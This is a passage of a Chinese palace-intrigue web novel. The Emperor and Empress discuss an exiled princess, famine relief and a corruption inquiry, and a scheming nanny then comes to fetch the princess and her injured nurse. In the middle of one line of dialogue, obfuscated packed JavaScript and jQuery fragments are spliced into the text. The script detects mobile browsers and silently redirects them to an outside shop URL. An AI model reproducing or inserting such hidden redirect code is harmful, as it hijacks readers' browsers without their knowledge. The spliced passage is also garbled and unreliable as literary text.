顺帝微微吐了口气,接过彩玉递上来的茶水呷了几口,才开口道:“鸢儿受了些轻伤,倒是照顾她的那个奶婆,伤势挺重。”
贺皇后听到风雪鸢无事,瞪了一眼彩玉,眼神闪过一丝寒意,心里暗中骂道:这点事都给本宫办不好!
彩玉不敢说话,明白自己得立马去收拾残局,于是端着茶水低头退了下去。
贺皇后在顺帝对面坐了下来,抿着嘴自责地说道:“鸢儿…她怎会跟流民混在一起?都是臣妾不好,忙着宫里的诸多杂事,前段时间又逢年下,少问了句她的近况,怕是下面的人就懒怠了……”
顺帝安慰道:“这怎能怪皇后,后宫的事已经是千头万绪,这些年皇后安排人时时去探望鸢儿,这些朕都看在眼里。只是…朕已经打听清楚了,是鸢儿不忍流民挨饿,在东三里庄头设了粥铺,这才牵扯了进去。”
“啊,怎么会这样…鸢儿也是好心,但毕竟年纪轻,有些事办不周全。陛下只要多让她历练历练,总会好的。”
顺帝倒是面容严肃,不减愠色,厉声道:“如今祭祀大典在即,哪有时间让她历练?万一再出什么事耽误了祭祀祈福,岂不是酿成大祸!朕已传了旨,即刻释放闹事灾民加以抚慰,同时皇陵附近增加侍卫巡逻,不许再施粥。安置灾民等事都交给户部统筹解决。”顺帝微微放松了语气,继续说,“这些年,是朕疏忽对鸢儿的管教了。只是朕的心里总是想起当年的事,怕见了她又想起叶妃当年……”顺帝欲言又止,“没想到,竟已过了十五年……”
贺皇后心里一沉,忙起身跪地,掩面道:“都是臣妾不好,当年生霁儿时胎位不正,这才让那岫玉起了糊涂心思,害死了叶妹妹……”
顺帝“哎呦”了一声,俯身扶起了贺皇后,“往事就莫要再提了,皇后更无需自责。当年皇后生产也是九死一生,怎能还有精力管下人们做事呢?只是朕心里一直忌讳着鸢儿的命格,不曾召她回宫。如今,鸢儿应该跟霁儿一样,都长成大姑娘了…”
贺皇后眉毛一挑,皮笑肉不笑,转头看向风雪霁:“是啊,虎父无犬子,想必鸢儿已经跟霁儿一样,出落得亭亭玉立,温婉端庄。”
顺帝招呼过风雪霁来,拉着她的手,满眼的慈爱,“是啊,这次去皇陵祭祀祈福,就能见到鸢儿了。霁儿,你总说这宫里没有跟你适龄的玩伴,这次带你出宫,去见见你妹妹可好?”
风雪霁的心里自是不认这个从未谋面养在宫外的妹妹的,可她跟在贺皇后身边,自然懂得喜怒不形于色。她微微扬起嘴角,守着规矩回禀道:“是,一切都听父皇安排。父皇,儿臣想着施粥是赈灾最见效的法子了,只是皇陵是祖宗们安息之地,不适宜供灾民歇脚恐惊了祖宗,不如在四个城门处各设一处粥棚,并根据户籍进行统一安置。这样一来,不仅可以让真正的灾民吃饱,也能防止没受旱灾的百姓冒领,更重要的是,要查清灾民的去向,投靠亲戚的安排好路费,南下开荒的合理分配给各郡,还有的灾民可能想等天象好转了再回到家乡,都要根据不同的需要登记造册,统一管理。”
顺帝听了风雪霁的一番建议,很是满意,忍不住点头称赞:“不错,霁儿考虑的很是周到,不枉皇后费心教导。”
贺皇后莞尔一笑:“都是霁儿自己肯用功,师傅讲的文章都能倒背如流,臣妾就是想要教导也跟不上她的学识了。”
“父皇,儿臣能否请旨,亲自去粥棚,一是怕底下官吏办事不周反而误了父皇,二是儿臣自出生便深受百姓信任被奉为南风祥瑞,如今百姓遭了难,若是儿臣能亲自出城赈灾,怕是能更好地安抚民心啊。”
顺帝握着风雪霁的手,微微皱了下眉,和颜回绝道:“霁儿心怀天下,只是你毕竟是公主,哪能轻易抛头露面,这样吧,朕下旨以你的名义开设救济堂,凡受灾郡县百姓均可在救济堂吃、住,并领取路费五十钱,可好?”
风雪霁微微点头,屈膝行礼:“是,多谢父皇!”
风雪霁转眼看到贺皇后使了个颜色,于是继续对顺帝说:“父皇,还有一事,儿臣不知当讲不当讲。”
“霁儿但说无妨。”
“自北方遭受旱灾以来,朝廷下发的粮款不计其数,按理来说灾情该有缓解,不该有这么多灾民涌入泰康,这里面定是有人耽误了赈灾,还望父皇彻查。”
顺帝面露难色,这历来赈灾,真正到百姓手里的粮款也就能有十之二三,倒也能解决大部分问题,可这次灾民还是纷纷南下,怕是连十之二三都没有到百姓手里。
“父皇,儿臣知道水至清则无鱼,但若底下的人欺上瞒下没有底线,动摇的也是南风的根本啊。”
“好,朕这就命大理寺,协同户部、吏部、兵部,彻查赈灾粮款的去处,霁儿安心就是。”
待顺帝用完午膳离开,风雪霁不解地问贺皇后:“母后,这赈灾之事主要由户部负责,那舅父为何还让我在父皇面前提起此事,让父皇彻查呢?”
贺皇后轻轻抚着风雪霁的额发,像是匠人看一件精心雕琢的作品一般,温声解释道:“赈灾的事是由户部负责不假,但运送的事是由兵部负责,这中间涉及多少人多少环节,查下去也不是你舅父的过错。你舅父不好自己提起,便让你来旁敲侧击,最后查出什么来,自然就不用咱们操心了。”
风雪鸢在林伯那里照顾了柴婆几日,柴婆算着日子,就快要到祭祀大典了,她这心里总是乱跳得厉害,还不等身上的伤好利索,便和风雪鸢一同回到了守陵人小屋。
果不其然,在祭祀大典的前一日午时不到,通仙殿的章嬷嬷竟然带着五六个体壮如牛的婆妇来了小屋。
这十五年来,章嬷嬷是从来不会踏足这小屋的,若真有事,也是遣新来守陵的小宫女们传话。章嬷嬷一进屋,一股药味直往鼻子里窜,呛了她两声。一见着柴婆,就迈着小碎步径直走到柴婆床边,拉着柴婆的手掩面哭道:“柴嬷嬷受了这样重的伤,怎的没人告诉我。还是听了侍卫们闲话,才知道你们出了事。幸而公主没事,否则
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589660|142952||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
整个通仙殿的宫人都要赔上性命了……”
柴婆心里清楚,章嬷嬷这是猫哭耗子假慈悲,若无别的要事她是不会来这一趟的。柴婆客气地笑了笑,回道:“章嬷嬷莫要挂心,将养了这几日,都已经好了。”
“那怎么行!”章嬷嬷往柴婆身边挪了挪屁股,言语中洋溢着热情,“你们啊,赶紧收拾一下跟我回通仙殿,通仙殿的床榻都收拾好了,比这木床板舒服多了,您养病也舒服不是?雪鸢公主的厢房也收拾好了,公主大了,也该有自己的房间,跟您挤在一处,不合适!”
柴婆忙摆手说道:“不妨事不妨事,我们在这住习惯了,怎敢去通仙殿劳烦嬷嬷?”
风雪鸢正端了药进来,见章嬷嬷这张虚假的嘴脸,忍不住阴阳怪气地回怼道:“这通仙殿,我们可住不起,万一带去什么不祥的东西,怕嬷嬷您怪罪。”
“公主这话折煞奴婢了,”章嬷嬷起身,脸上堆满了谄媚的笑容。那日顺帝说来皇陵要见风雪鸢,贺皇后便命人吩咐了章嬷嬷要好生关照风雪鸢,她们定不会让顺帝发现风雪鸢这十五年来,一直住在这半山腰的破屋。
风雪鸢忍不住翻起了白眼,恨不得立刻将章嬷嬷赶出去,咬着后槽牙狠狠说道:“当年不就是你嫌我天命不祥,将我和柴婆赶出的通仙殿吗?如今求着我们去住,不就是因为父皇要来,想要见我,你怕父皇知道当年是你把我们赶出来的吗?”
章嬷嬷“哎呦”一声,语气一转,拍着大腿喊起了冤:“公主冤枉奴婢啦,当年您是奉旨来守陵祈福的,何人敢说您的不是?分明是柴嬷嬷她跟那庄上的庄头有私,住在通仙殿不方便二人偷情,这才带着公主您住在这里吃苦。”
风雪鸢突然愣在了原地,她从未见过变脸如此之快的人,更未见过能如此大义凛然颠倒是非黑白之人。但她也瞬间明白了,仅凭一张嘴,她也没法证明当年她和柴婆是被赶出来的,若是到了顺帝面前分说,章嬷嬷就会一口咬定柴婆和林伯有私情。
柴婆在床上气得连连咳嗽,说不出话来。
风雪鸢忙放下手里的药,揽住柴婆轻轻拍着她的后背。她转念一想,也只有她能顺利地见到顺帝,才能有机会谋划回宫之事,章嬷嬷带着五六个粗壮的婆妇,怕是今日就算绑也会把她和柴婆绑回去。如果硬是不从,不仅会吃些皮肉上的亏,更有可能因为惹恼皇后而让皇后再使绊子阻碍她见到顺帝。
风雪鸢捋着柴婆的后背,附耳低声说:“柴婆,好汉不吃眼前亏,咱们跟着去就是。”
柴婆无奈忍着身上的痛起身,和风雪鸢一起收拾好了贴身的衣物。
众人出了小院,风雪鸢忽然想到了什么,停住脚步,嘴角露出一丝狡黠的笑容。
她解开拴在院中的雪球,挥了挥手中的包袱往雪球屁股上一砸,将雪球赶出去放风去了。
章嬷嬷想要制止,可却害怕那马踢到自己,吓得花容失色,大喊道:“哎哟我的祖宗,您把这马放出去了,若是惊到圣驾可如何是好?”